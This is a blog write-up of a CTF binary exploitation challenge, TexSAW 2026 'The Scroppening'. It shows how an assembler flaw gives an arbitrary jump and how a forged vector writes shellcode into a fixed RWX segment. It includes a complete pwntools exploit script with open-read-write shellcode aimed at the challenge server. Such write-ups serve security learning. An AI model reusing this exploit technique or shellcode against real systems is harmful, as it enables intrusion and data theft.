620 words
3 minutes
TexSAW 2026 - SIGBOVIK III - The Scroppening - Binary Exploitation Writeup

Category: Binary Exploitation Flag: texsaw{scropmaster!_12934810298401928340912830982}

Challenge Description#

We got rid of win, sorry! You’re writing assembly again this time.

Analysis#

This service was a custom Scheme-like VM split across a Rust compiler, a Python assembler, and a stripped static interpreter. The front-end source mattered immediately: compiler/src/main.rs exposes primitives like vector, vector-ref, and vector-set!, while assembler/main.py maps those mnemonics to hardcoded handler addresses and gives PRIMAPPLY a special case that accepts any hexadecimal immediate. Instead of resolving a named primitive, the assembler serializes PRIMAPPLY with int(m, 16).to_bytes(8, "little"), which means assembly can smuggle an arbitrary 64-bit jump target straight into the bytecode.

The first useful confirmation came from the interpreter’s protection profile.

checksec interpreter
[*] '/home/rei/Downloads/CTFChan_Pwn_texsaw_SIGBOVIKIIITheScroppening/interpreter'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x50b000)
    RWX:        Has RWX segments

No PIE and a fixed RWX segment strongly suggested that the intended route was shellcode, but the obvious first attempt still ran into ASLR. The VM initializes itself by pointing rsp at the bytecode buffer, so jumping into shellcode embedded in the program would have worked only if that mmap address were known ahead of time.

0x800879e: mov rsp, rdi   ; rsp = bytecode buffer
0x80087a4: mov rbx, rsi   ; rbx = vm stack

The real control-flow bug sat in PRIMAPPLY. The solve log recorded the handler ending with an absolute jump through the instruction immediate.

0000000009a99000 <.text.primapply>:
  9a99000: mov r8, QWORD PTR [rsp-0x8]
  ...
  9a99068: jmp r8

That turns PRIMAPPLY <hex> into an arbitrary jump primitive. The missing piece was a stable executable address, and that came from pairing two other VM operations that were much more useful together than they looked in isolation.

0x9e7000: mov rax, QWORD PTR [rsp-0x8]
0x9e7005: mov rax, QWORD PTR [rbx+rax*8]
0x5ec5060: mov QWORD PTR [rax+rcx*8+0x8], rsi

GET reads a raw qword from a chosen VM stack slot, which let the exploit pull immediate values staged later in the bytecode. VECTORSET writes a qword through a tagged vector pointer. The winning trick was to stop chasing the randomized mmap buffer and instead forge a vector that points at the interpreter’s fixed RWX segment. The key values from the solve log were 0x8008000 as the RWX base, 0x8008000 | 0x2 as the forged vector tag, and 0x8008800 as the shellcode destination. With those in hand, the exploit used GET to recover raw qwords from future PRIMAPPLY immediates, fed them to VECTORSET, and wrote shellcode directly into executable memory at a deterministic address. Because PRIMAPPLY expects its normal stack shape, the payload also inserted LOAD NULL before the final jump.

Before switching to the flag-reading payload, the exploit was validated with a tiny shellcode stub that printed DBG and exited.

Remote output: b'DBG'

Once the write primitive and jump target were confirmed, the final shellcode used the standard open-read-write pattern against /flag, with both the path and buffer addressed relative to rip so the payload stayed position-independent after being copied into the RWX segment. The solve log recorded the final result directly.

Remote output: b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros

Solution#

# remote_orw_flag.py
from pwn import *
context.arch='amd64'
context.log_level='info'

BASE=0x8008000
SHELL_ADDR=0x8008800
VEC_TAG=BASE|0x2

# ORW shellcode for /flag
asm_code = r'''
    mov eax, 2
    lea rdi, [rip+path]
    xor esi, esi
    xor edx, edx
    syscall
    mov edi, eax
    lea rsi, [rip+buf]
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edi, 1
    mov eax, 1
    syscall
    mov eax, 60
    xor edi, edi
    syscall
path:
    .ascii "/flag"
    .byte 0
buf:
    .zero 0x100
'''

shellcode = asm(asm_code)

chunks=[shellcode[i:i+8] for i in range(0,len(shellcode),8)]
chunks_q=[u64(c.ljust(8,b'\x00')) for c in chunks]

index_start=(SHELL_ADDR-BASE-8)//8
raw_values=[VEC_TAG]+chunks_q
num_writes=len(chunks_q)
raw_start=num_writes*5+4
raw_indices=[2*(raw_start+i)+1 for i in range(len(raw_values))]

asm_lines=[]
k=0
for i in range(num_writes):
    asm_lines.append(f"GET {raw_indices[0]+k}")
    k+=1
    asm_lines.append(f"LOAD {index_start+i}")
    k+=1
    asm_lines.append(f"GET {raw_indices[1+i]+k}")
    k+=1
    asm_lines.append("VECTORSET")
    k=1
    asm_lines.append("FORGET")
    k=0

asm_lines.append("LOAD NULL")
asm_lines.append("LOAD 0")
asm_lines.append("LOAD 0")
asm_lines.append(f"PRIMAPPLY {SHELL_ADDR:x}")

for val in raw_values:
    asm_lines.append(f"PRIMAPPLY {val:x}")

asm_lines.append("DONE")

asm_payload='\n'.join(asm_lines)+'\n'

p=remote('143.198.163.4',1902,timeout=5)
p.send(asm_payload.encode())

out=p.recvall(timeout=5)
print(out)
python remote_orw_flag.py
b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros
TexSAW 2026 - SIGBOVIK III - The Scroppening - Binary Exploitation Writeup
https://blog.rei.my.id/posts/130/texsaw-2026-sigbovik-iii-the-scroppening-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-30
License
CC BY-NC-SA 4.0